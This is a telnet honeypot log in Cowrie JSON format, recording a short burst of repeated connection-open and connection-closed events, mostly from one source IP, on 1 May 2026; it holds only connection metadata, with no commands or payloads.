{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50932,"dst_ip":"10.17.0.5","dst_port":23,"session":"c827a50000bf","protocol":"telnet","message":"New connection: 104.167.8.156:50932 (10.17.0.5:23) [session: c827a50000bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.436204Z"}
{"eventid":"cowrie.session.closed","duration":31.428123712539673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.492964Z","src_ip":"108.61.251.217","session":"533335fcf502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00493574142456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.579771Z","src_ip":"104.167.8.156","session":"7981be9c6088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687416791915894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.651047Z","src_ip":"104.167.8.156","session":"eddd0de5ef3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.586974620819092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.762939Z","src_ip":"108.61.251.217","session":"83dac1bdb5e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56746,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d6d9ef9d946","protocol":"telnet","message":"New connection: 104.167.8.156:56746 (10.17.0.5:23) [session: 4d6d9ef9d946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.950362Z"}
{"eventid":"cowrie.session.closed","duration":31.23100209236145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.305150Z","src_ip":"104.167.8.156","session":"ba8d1f07f161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58372,"dst_ip":"10.17.0.5","dst_port":23,"session":"06eca82ce99e","protocol":"telnet","message":"New connection: 104.167.8.156:58372 (10.17.0.5:23) [session: 06eca82ce99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.311099Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39964,"dst_ip":"159.203.135.109","dst_port":23,"session":"6552a8dcc5a8","protocol":"telnet","message":"New connection: 64.227.9.242:39964 (159.203.135.109:23) [session: 6552a8dcc5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.358939Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54540,"dst_ip":"10.17.0.5","dst_port":23,"session":"771297ee74eb","protocol":"telnet","message":"New connection: 104.167.8.156:54540 (10.17.0.5:23) [session: 771297ee74eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.414398Z"}
{"eventid":"cowrie.session.closed","duration":31.040770053863525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.507602Z","src_ip":"104.167.8.156","session":"0614f66d9fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59554,"dst_ip":"10.17.0.5","dst_port":23,"session":"18ced16f3c8a","protocol":"telnet","message":"New connection: 104.167.8.156:59554 (10.17.0.5:23) [session: 18ced16f3c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.545398Z"}
{"eventid":"cowrie.session.closed","duration":44.60900092124939,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.771001Z","src_ip":"188.208.141.113","session":"18b5bd00760a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60646,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0b0cb58682","protocol":"telnet","message":"New connection: 104.167.8.156:60646 (10.17.0.5:23) [session: 8c0b0cb58682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.787305Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56548,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d00a452e23","protocol":"telnet","message":"New connection: 104.167.8.156:56548 (10.17.0.5:23) [session: 38d00a452e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.880856Z"}
{"eventid":"cowrie.session.closed","duration":31.19296646118164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.897253Z","src_ip":"104.167.8.156","session":"b2b7150cb8e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214935779571533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.903500Z","src_ip":"104.167.8.156","session":"4e1efb33b41b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":32978,"dst_ip":"10.17.0.5","dst_port":23,"session":"3740de300848","protocol":"telnet","message":"New connection: 104.167.8.156:32978 (10.17.0.5:23) [session: 3740de300848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.943225Z"}
{"eventid":"cowrie.session.closed","duration":31.251526594161987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:35.995940Z","src_ip":"104.167.8.156","session":"ab4e3b144009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33258,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a58acc4c35","protocol":"telnet","message":"New connection: 104.167.8.156:33258 (10.17.0.5:23) [session: 46a58acc4c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.047553Z"}
{"eventid":"cowrie.session.closed","duration":30.97134566307068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.060972Z","src_ip":"104.167.8.156","session":"f00a68fc9259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10037612915039,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.087969Z","src_ip":"104.167.8.156","session":"d60e7653ce83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.650081157684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.097809Z","src_ip":"104.167.8.156","session":"3a87820c6215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58290,"dst_ip":"10.17.0.5","dst_port":23,"session":"79e7ebf8c63b","protocol":"telnet","message":"New connection: 104.167.8.156:58290 (10.17.0.5:23) [session: 79e7ebf8c63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.290318Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35212,"dst_ip":"10.17.0.5","dst_port":23,"session":"145f51ecaa6d","protocol":"telnet","message":"New connection: 104.167.8.156:35212 (10.17.0.5:23) [session: 145f51ecaa6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.508892Z"}
{"eventid":"cowrie.session.closed","duration":31.441083431243896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.604415Z","src_ip":"104.167.8.156","session":"ee7df8f78c5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16400647163391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.632820Z","src_ip":"104.167.8.156","session":"7ae9d7757ee3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903719186782837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.759756Z","src_ip":"104.167.8.156","session":"24c88a6453aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.602692365646362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.814046Z","src_ip":"98.70.41.28","session":"aab3a4c08814","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.7984516620636,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:36.821844Z","src_ip":"188.208.141.113","session":"6c19d2897433","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.047091484069824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.069978Z","src_ip":"104.167.8.156","session":"ac6aaf7293e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480172157287598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.081588Z","src_ip":"104.167.8.156","session":"83fb617a43fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38194,"dst_ip":"10.17.0.5","dst_port":23,"session":"cde44cda3fd2","protocol":"telnet","message":"New connection: 104.167.8.156:38194 (10.17.0.5:23) [session: cde44cda3fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.252664Z"}
{"eventid":"cowrie.session.closed","duration":31.137993574142456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.304772Z","src_ip":"104.167.8.156","session":"cba952ad7be2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11077332496643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.315361Z","src_ip":"104.167.8.156","session":"81709c893687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87217688560486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.353379Z","src_ip":"104.167.8.156","session":"f3faf3b26721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149155139923096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.399763Z","src_ip":"104.167.8.156","session":"3a54debc4ada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21441912651062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.422542Z","src_ip":"104.167.8.156","session":"7a4083ac19c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"698f0f337d2e","protocol":"telnet","message":"New connection: 104.167.8.156:39394 (10.17.0.5:23) [session: 698f0f337d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.528874Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":53382,"dst_ip":"10.17.0.5","dst_port":23,"session":"906a29179398","protocol":"telnet","message":"New connection: 108.61.251.217:53382 (10.17.0.5:23) [session: 906a29179398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.586765Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40304,"dst_ip":"10.17.0.5","dst_port":23,"session":"e771ad842ca4","protocol":"telnet","message":"New connection: 104.167.8.156:40304 (10.17.0.5:23) [session: e771ad842ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.777078Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41178,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa8f3dc0f72b","protocol":"telnet","message":"New connection: 104.167.8.156:41178 (10.17.0.5:23) [session: aa8f3dc0f72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:37.990232Z"}
{"eventid":"cowrie.session.closed","duration":30.370920181274414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:38.031865Z","src_ip":"104.167.8.156","session":"f66dab431861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41522,"dst_ip":"10.17.0.5","dst_port":23,"session":"a79c229c5b01","protocol":"telnet","message":"New connection: 104.167.8.156:41522 (10.17.0.5:23) [session: a79c229c5b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:38.082450Z"}
{"eventid":"cowrie.session.closed","duration":30.842150449752808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:38.109148Z","src_ip":"108.61.251.217","session":"75b376d52db2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36203622817993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:38.113855Z","src_ip":"98.70.41.28","session":"732f0fc339ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.213773727416992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:38.124058Z","src_ip":"104.167.8.156","session":"caa4f94e8765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.625280380249023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:38.163555Z","src_ip":"104.167.8.156","session":"bc274cd96f56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43944,"dst_ip":"10.17.0.5","dst_port":23,"session":"42554ec085a4","protocol":"telnet","message":"New connection: 104.167.8.156:43944 (10.17.0.5:23) [session: 42554ec085a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:38.515447Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":53402,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bdc0a6d75e6","protocol":"telnet","message":"New connection: 108.61.251.217:53402 (10.17.0.5:23) [session: 0bdc0a6d75e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:38.665878Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40652,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f109671ea4","protocol":"telnet","message":"New connection: 104.167.8.156:40652 (10.17.0.5:23) [session: 82f109671ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:38.858293Z"}
{"eventid":"cowrie.session.closed","duration":30.81327247619629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.038922Z","src_ip":"104.167.8.156","session":"25864522069c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.444334983825684,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.125751Z","src_ip":"188.208.141.113","session":"d2d82c3fc944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798249006271362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.140533Z","src_ip":"108.61.251.217","session":"b85b9db40eae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002901554107666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.161678Z","src_ip":"104.167.8.156","session":"957a453e49a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.285401582717896,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.167183Z","src_ip":"188.208.141.113","session":"51a99a39017d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":45144,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b1fcc3dbaff","protocol":"telnet","message":"New connection: 98.70.41.28:45144 (159.203.135.109:23) [session: 1b1fcc3dbaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.317125Z"}
{"eventid":"cowrie.session.closed","duration":30.616931438446045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.325256Z","src_ip":"98.70.41.28","session":"fc22bfd6ed18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43258,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddda5eaf3e5c","protocol":"telnet","message":"New connection: 104.167.8.156:43258 (10.17.0.5:23) [session: ddda5eaf3e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.404464Z"}
{"eventid":"cowrie.session.closed","duration":30.493097066879272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.443794Z","src_ip":"104.167.8.156","session":"b0df711e3529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47890,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf3f05d9c28","protocol":"telnet","message":"New connection: 104.167.8.156:47890 (10.17.0.5:23) [session: 7cf3f05d9c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.507993Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":45168,"dst_ip":"159.203.135.109","dst_port":23,"session":"49e790f6b1e1","protocol":"telnet","message":"New connection: 98.70.41.28:45168 (159.203.135.109:23) [session: 49e790f6b1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.644220Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36486,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a08f6c6199","protocol":"telnet","message":"New connection: 104.167.8.156:36486 (10.17.0.5:23) [session: 90a08f6c6199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.824181Z"}
{"eventid":"cowrie.session.closed","duration":31.317955255508423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.938806Z","src_ip":"104.167.8.156","session":"df3ae8ea979c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49562,"dst_ip":"10.17.0.5","dst_port":23,"session":"876f172502ae","protocol":"telnet","message":"New connection: 104.167.8.156:49562 (10.17.0.5:23) [session: 876f172502ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:39.964594Z"}
{"eventid":"cowrie.session.closed","duration":30.192840337753296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:40.110783Z","src_ip":"104.167.8.156","session":"e54f2d309e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46212,"dst_ip":"10.17.0.5","dst_port":23,"session":"132a2e7e7aae","protocol":"telnet","message":"New connection: 104.167.8.156:46212 (10.17.0.5:23) [session: 132a2e7e7aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:40.138459Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50380,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe2b7f9bbf8","protocol":"telnet","message":"New connection: 104.167.8.156:50380 (10.17.0.5:23) [session: ffe2b7f9bbf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:40.162110Z"}
{"eventid":"cowrie.session.closed","duration":30.710354804992676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:40.167510Z","src_ip":"104.167.8.156","session":"46b771afb061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034525871276855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:40.271612Z","src_ip":"104.167.8.156","session":"00a14c57a9e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38996,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca8f794762d4","protocol":"telnet","message":"New connection: 104.167.8.156:38996 (10.17.0.5:23) [session: ca8f794762d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:40.440621Z"}
{"eventid":"cowrie.session.closed","duration":31.239728927612305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:40.802626Z","src_ip":"104.167.8.156","session":"a7bf56a830b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.035770893096924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:41.156343Z","src_ip":"108.61.251.217","session":"3018d32f3131","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.147233486175537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:41.171947Z","src_ip":"104.167.8.156","session":"c9d4f8015a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.59862947463989,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:41.208634Z","src_ip":"188.208.141.113","session":"594e6ec7e57d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642064571380615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:41.276826Z","src_ip":"104.167.8.156","session":"cda1b0ecd501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51194,"dst_ip":"10.17.0.5","dst_port":23,"session":"1598cc8f4279","protocol":"telnet","message":"New connection: 104.167.8.156:51194 (10.17.0.5:23) [session: 1598cc8f4279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:41.324841Z"}
{"eventid":"cowrie.session.closed","duration":31.155372142791748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:41.523744Z","src_ip":"104.167.8.156","session":"4866151050f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":45156,"dst_ip":"159.203.135.109","dst_port":23,"session":"6034b49eb919","protocol":"telnet","message":"New connection: 98.70.41.28:45156 (159.203.135.109:23) [session: 6034b49eb919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:41.651645Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":53414,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ee571d0395","protocol":"telnet","message":"New connection: 108.61.251.217:53414 (10.17.0.5:23) [session: 44ee571d0395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:41.656883Z"}
{"eventid":"cowrie.session.closed","duration":31.505029916763306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:41.665764Z","src_ip":"104.167.8.156","session":"3f217050649c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45752,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a13664766d6","protocol":"telnet","message":"New connection: 104.167.8.156:45752 (10.17.0.5:23) [session: 7a13664766d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:42.028794Z"}
{"eventid":"cowrie.session.closed","duration":30.68835973739624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:42.112274Z","src_ip":"108.61.251.217","session":"533c46eed5ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.222065925598145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:42.117137Z","src_ip":"108.61.251.217","session":"66d5d36191c0","protocol":"telnet"}
